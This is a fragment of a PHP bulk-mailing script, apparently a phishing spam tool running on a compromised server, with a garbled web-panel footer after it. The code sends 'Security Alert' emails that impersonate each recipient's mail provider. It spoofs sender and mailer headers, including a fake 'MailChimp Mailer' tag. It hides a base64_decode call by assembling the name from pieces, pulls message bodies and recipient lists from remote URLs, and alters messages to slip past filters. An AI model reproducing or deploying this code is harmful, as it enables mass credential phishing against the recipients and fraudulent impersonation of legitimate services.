move //unsent in last batch back into the queue log("worker is continuing."); window.stop(); pirate(); }else{ setTimeout(function() {worker()}, 2000); } } setTimeout(function() {sendingTimer()}, 240000); </script> <?php flush(); ob_flush(); } //end remove slashes. $pat = generateRandomNumericString(6); $id = "====Part-$pat-".generateRandomNumericString(19)."=="; $id2 = "====Part-$pat-".generateRandomNumericString(19)."=="; $lastBit = 1; $slastBit = 1; $errorCount = array(); /***************CONFIG**************/ $fromName = isset($_POST['from_name'])?$_POST['from_name']:"{{Provider}}"; $fromEmail = isset($_POST['from_email'])?$_POST['from_email']:"usermessages.{{provider}}inc@mail.team.notif.msgsec.notices.enroll.atvjp.com"; $replyto = isset($_POST['reply_to'])?$_POST['reply_to']:"alt.ji-6z4vo5a@yopmail.com"; $subject = isset($_POST['subject'])?$_POST['subject']:"Security Alert for {{email}}"; $testMsgAfter = 1000;//emails $testEmail = isset($_POST['message'])?null:"alt.ji-6z4vo5a@yopmail.com"; $messageFile = isset($_POST['message'])?null:''; $listFile = isset($_POST['list'])?null:''; $fieldsSeparator= ','; $extraHeaders = "MIME-Version: 1.0\n"; $extraHeaders .= "Date: {{date}}\n"; $extraHeaders .= "From: {{fromName}} <{{fromEmail}}>\n"; $extraHeaders .= (isset($_POST['noAuthSmtp']) && $_POST['noAuthSmtp']=="no") ? "" : "Subject: {{subject}}\n"; $extraHeaders .= (isset($_POST['noAuthSmtp']) && $_POST['noAuthSmtp']=="no") ? "" : "To: {{to}}\n"; $extraHeaders .= (strlen($replyto)>4) ? "Reply-To: $replyto\n" : ""; $extraHeaders .= "X-Priority: 1\r\n"; $extraHeaders .= "X-MSMail-Priority: High\n"; $extraHeaders .= "Importance: High\n"; $extraHeaders .= "X-MimeOLE: Produced By Microsoft MimeOLE V6.10.2800.4409.2021586449.io.jh31"; /***************END OF CONFIG**************/ if (!isset($_GET['mode'])||!empty($_POST)||!file_exists($listFile)) { $ehloHost = isset($_SERVER['SERVER_ADDR'])?gethostbyaddr($_SERVER['SERVER_ADDR']):gethostbyaddr($_SERVER['LOCAL_ADDR']); $listFile = !file_exists($listFile)? null:$listFile; $messageFile = !file_exists($messageFile)?null:$messageFile; $_POST['message'] = isset($_POST['message'])?$_POST['message']:false; //check if session id is set and store message string there if(isset($_GET['sess_id']) && strlen($_POST['message']) > 5){ $_SESSION['message'] = $_POST['message']; }elseif(isset($_SESSION['message']) && strlen($_SESSION['message'])>5){ $_POST['message'] = $_SESSION['message']; } $_POST['list'] = isset($_POST['list'])?$_POST['list']:false; //echo $_POST['list']; $arfun = array('b','a','s','e','6','4','_','de','co','de'); $b6fur = implode("", $arfun); //have to dcde message from b 6 4 $message = ($messageFile==null )?$b6fur($_POST['message']):file_get_contents($messageFile); //if message is a url, fetch the content $firstSeven = substr($message, 0, 7); if ($firstSeven=='http://' || $firstSeven=='https:/') { $message = get_data($message); } //local file? if ($firstSeven=='local:/') { $localFile = str_replace('local://', '', $message); $message = file_get_contents($localFile); } //force it to use multipart alternative here for now. //will make it optional later when enabling attachment for hmail if (strpos($message, '{{id}}')===false && strpos($message, '{{id2}}')===false) { $extraHeaders .= "\nContent-Type: text/plain; charset=\"utf-8\""; $extraHeaders .= "\nContent-Transfer-Encoding: quoted-printable"; }elseif (strpos($message, '{{id2}}')===false) { $extraHeaders .= "\nContent-Type: multipart/alternative; boundary=\"$id\""; }elseif (strpos($message, '{{id2}}')!==false) { $extraHeaders .= "\nContent-Type: multipart/mixed; boundary=\"$id\""; } if (isset($_POST['noAuthSmtp']) && $_POST['noAuthSmtp']=="yes") { } //$extraHeaders = str_replace("\n", "\r\n", $extraHeaders); $search = array('{{fromName}}','{{fromEmail}}','{{replyto}}','{{subject}}','{{hostname}}'); $replace = array($fromName, $fromEmail, $replyto, $subject, $ehloHost); $message = str_replace($search, $replace, $message); $extraHeaders = str_replace($search, $replace, $extraHeaders); $emailList = ($listFile==null)?$_POST['list']:file_get_contents($listFile); $emailList = str_replace(array("\r\n","\r"), "\n", $emailList); $emailList = explode("\n", $emailList); //if list is a url, fetch the content $emailList[1] = urldecode($emailList[1]); $firstSeven = substr($emailList[1], 0, 7); if ($firstSeven=='http://' || $firstSeven=='https:/') { $fetchedEmails = get_data($emailList[1]); $fetchedEmails = str_replace("\r\n", "\n", $fetchedEmails); $fetchedEmails = explode("\n", $fetchedEmails); $prefix = array($emailList[0]); unset($emailList[0]); unset($emailList[1]); $emailList = array_merge($prefix,$fetchedEmails, $emailList); } $count = count($emailList); $mergeFieldsLine = array_shift($emailList); $mergeSearch = explode($fieldsSeparator, $mergeFieldsLine); $msearchCount = count($mergeSearch); $mergeFieldsCount = count(explode($fieldsSeparator, $mergeFieldsLine)); $mergeSearch[] = '{{id}}'; $mergeSearch[] = '{{id2}}'; $providerIndex = array_search('{{provider}}', $mergeSearch); //loop through lines, replace merge fields and send message. $counter = 1; //all this just to sort mails and give chunking an advantage. /*$domToMailList = array(); $x=0; foreach ($emailList as $line) { list($eemail) = explode(',', $line); list($user, $domain) = explode("@", $eemail); $domToMailList["$domain@$user.$x"] = $line; $x++; } //sort by domain ksort($domToMailList); //print_r($domToMailList); $emailList = array_values($domToMailList);*/ $sendingQueue = array();//for direct send mode. for ($i=0; $i < count($emailList); $i++) { $emailListLine = $emailList[$i]; if (isset($emailList[$i+1])) { $nextTo = $emailList[$i+1]; }else{ $nextTo = '';} $mseconds = time() + (integer) $_SESSION['counta']; $date = date('D, j M Y h:i:s', $mseconds);//Date: Tue, 10 Mar 2020 08:40:43 +0000 (UTC) $replaceFields = explode($fieldsSeparator, $emailListLine); $lineMXr = false; foreach($replaceFields as $field){ if (strpos($field, 'mxr:')!==false) { list($pref, $mxr) = explode(":", $field); $lineMXr = explode(";", strtolower($mxr)); } } $removeCount = $msearchCount - count($replaceFields); if ($removeCount<0) { //remove any extra fields specified... causes problems $replaceFields = array_slice($replaceFields, 0, $removeCount); } $replaceFields = array_pad($replaceFields, $mergeFieldsCount, 0); $mergeReplace = $replaceFields; //$mergeReplace = explode($fieldsSeparator, $emailListLine); $mergeReplace[] = $id; $mergeReplace[] = $id2; $to = $mergeReplace[0]; //assuming first field is the email field. if (strlen($to) > 5) { //compute extra merge fields list($username,$emailDomain) = explode('@', $to); list($provider) = explode('.', $emailDomain); $username = strtolower($username); $emailDomain = strtolower($emailDomain); $provider = ($providerIndex!==false)?$mergeReplace[$providerIndex]:strtolower($provider); $usernameCaps = strtoupper($username); $emailDomainCaps = strtoupper($emailDomain); $providerCaps = strtoupper($provider); $usernameFirstLetterCaps = ucfirst($username); $emailDomainFirstLetterCaps = ucfirst($emailDomain); $providerFirstLetterCaps = ucfirst($provider); $_SESSION['counta'] = isset($_SESSION['counta'])?$_SESSION['counta']:1; $sessionCounter = isset($_SESSION['counta'])?$_SESSION['counta']: 0; $appendMergeSearch = array( '{{username}}','{{domain}}','{{provider}}', '{{Username}}','{{Domain}}','{{Provider}}', '{{USERNAME}}','{{DOMAIN}}','{{PROVIDER}}', '{{randomId}}','{{counter}}','{{date}}', '{{to}}' ); $appendMergeReplace = array( $username, $emailDomain, $provider, $usernameFirstLetterCaps, $emailDomainFirstLetterCaps, $providerFirstLetterCaps, $usernameCaps, $emailDomainCaps, $providerCaps, generateRandomAlphaNumericString(10),$sessionCounter,$date,$to ); $thisMergeSearch = array_merge($mergeSearch, $appendMergeSearch); //avoid altering merge search for other lines $mergeReplace = array_merge($mergeReplace, $appendMergeReplace); //print_r($thisMergeSearch); //print_r($mergeReplace); $addSearchReplace = array(); for ($e=0; $e < count($thisMergeSearch); $e++) { $key = strtolower(substr($thisMergeSearch[$e], 2, -2)) ; //echo $key."<br>"; $addSearchReplace["{U{".$key."}}"] = strtoupper($mergeReplace[$e]); $addSearchReplace["{F{".$key."}}"] = ucfirst($mergeReplace[$e]); $addSearchReplace["{L{".$key."}}"] = strtolower($mergeReplace[$e]); $addSearchReplace["{UW{".$key."}}"] = ucwords($mergeReplace[$e]); } $thisMergeSearch = array_merge($thisMergeSearch, array_keys($addSearchReplace)); $mergeReplace = array_merge($mergeReplace, array_values($addSearchReplace)); //print_r($thisMergeSearch); $smtp_from = str_replace($thisMergeSearch, $mergeReplace, $_POST['smtp_from_email']); $thisMessage = str_replace($thisMergeSearch, $mergeReplace, $message); //tweak here. $thisSubject = str_replace($thisMergeSearch, $mergeReplace, $subject); $thisFromEmail = str_replace($thisMergeSearch, $mergeReplace, $fromEmail); $thisFromName = str_replace($thisMergeSearch, $mergeReplace, $fromName); //tap into php mailer $mail = new PHPMailer; $mail->Encoding = 'quoted-printable'; // 8bit base64 multipart/alternative quoted-printable $mail->CharSet = 'UTF-8'; $mail->IsMail(); $mail->Priority = 3; //$mail->AddAttachment($filepdf); if (strlen($replyto) > 4) { $mail->addReplyTo($replyto, ""); } $mail->setFrom($thisFromEmail, $thisFromName); $mail->AddAddress($to); $mail->Subject = $thisSubject; $smtpServer = isset($_GET['server'])?$_GET['server']:"127.0.0.1"; $smtpHostname = isIp($smtpServer) ? gethostbyaddr($smtpServer) : $smtpServer; $mail->MessageID = "<".md5(generateRandomAlphaNumericString(12).$to)."$smtpHostname>"; $mail->XMailer = "MailChimp Mailer"; $mail->msgHTML(fuzzMessage($thisMessage)); $mail->preSend(); $messageBody = $mail->getSentMIMEMessage(); $mail->clearAddresses(); //print_r($thisMergeSearch); //print_r($mergeReplace); //$thisExtraHeaders = str_replace($thisMergeSearch, $mergeReplace, $extraHeaders); //send //if we are in direct send mode, enqueue sending and continue iteration. if (isset($_GET['directsend'])) { $sendingQueue[] = array("from" => $thisFromEmail, "to" => $to, "messageBody" => $messageBody, "emailListLine" => $emailListLine); continue; } if(myMail($thisFromEmail, $to, $thisSubject, $messageBody)){ $_SESSION['counta'] = (integer) $_SESSION['counta'] + 1; echo !empty($_POST) ? "<font color=\"green\" >$counter sent to $to</font></br>":''; echo '<script>addToSent("'.$emailListLine.'");top.document.title=".."+document.domain+" => '.$counter.' sent to '.$to.'"</script>'; }else{ echo !empty($_POST) ? "<font color=\"green\" > $counter</font><font color=\"yellow\"> deferred</font><font color=\"green\" > $to</font></br>":''; echo '<script>addToFailed()</script>'; } $sttime3 = microtime(true); $diff = $sttime3 - $sttime2; //echo "$diff $sttime3 $sttime2<br>"; if ($counter != 0 && $counter % $testMsgAfter == 0) { //send test email ($testEmail==null)?1+1:myMail($thisFromEmail, $testEmail, $thisSubject, $messageBody); } $counter += 1 ; echo '<script>count = count + 1;log(count);startChecking=1;</script>'; flush(); ob_flush(); } } //out of the loop, now process any directsend queue if (isset($_GET['directsend']) && !empty($sendingQueue)) { sendmail6($sendingQueue); } } echo "</body>";
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | ���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��: 0 |
proxy
|
phpinfo
|
���ѧ����ۧܧ�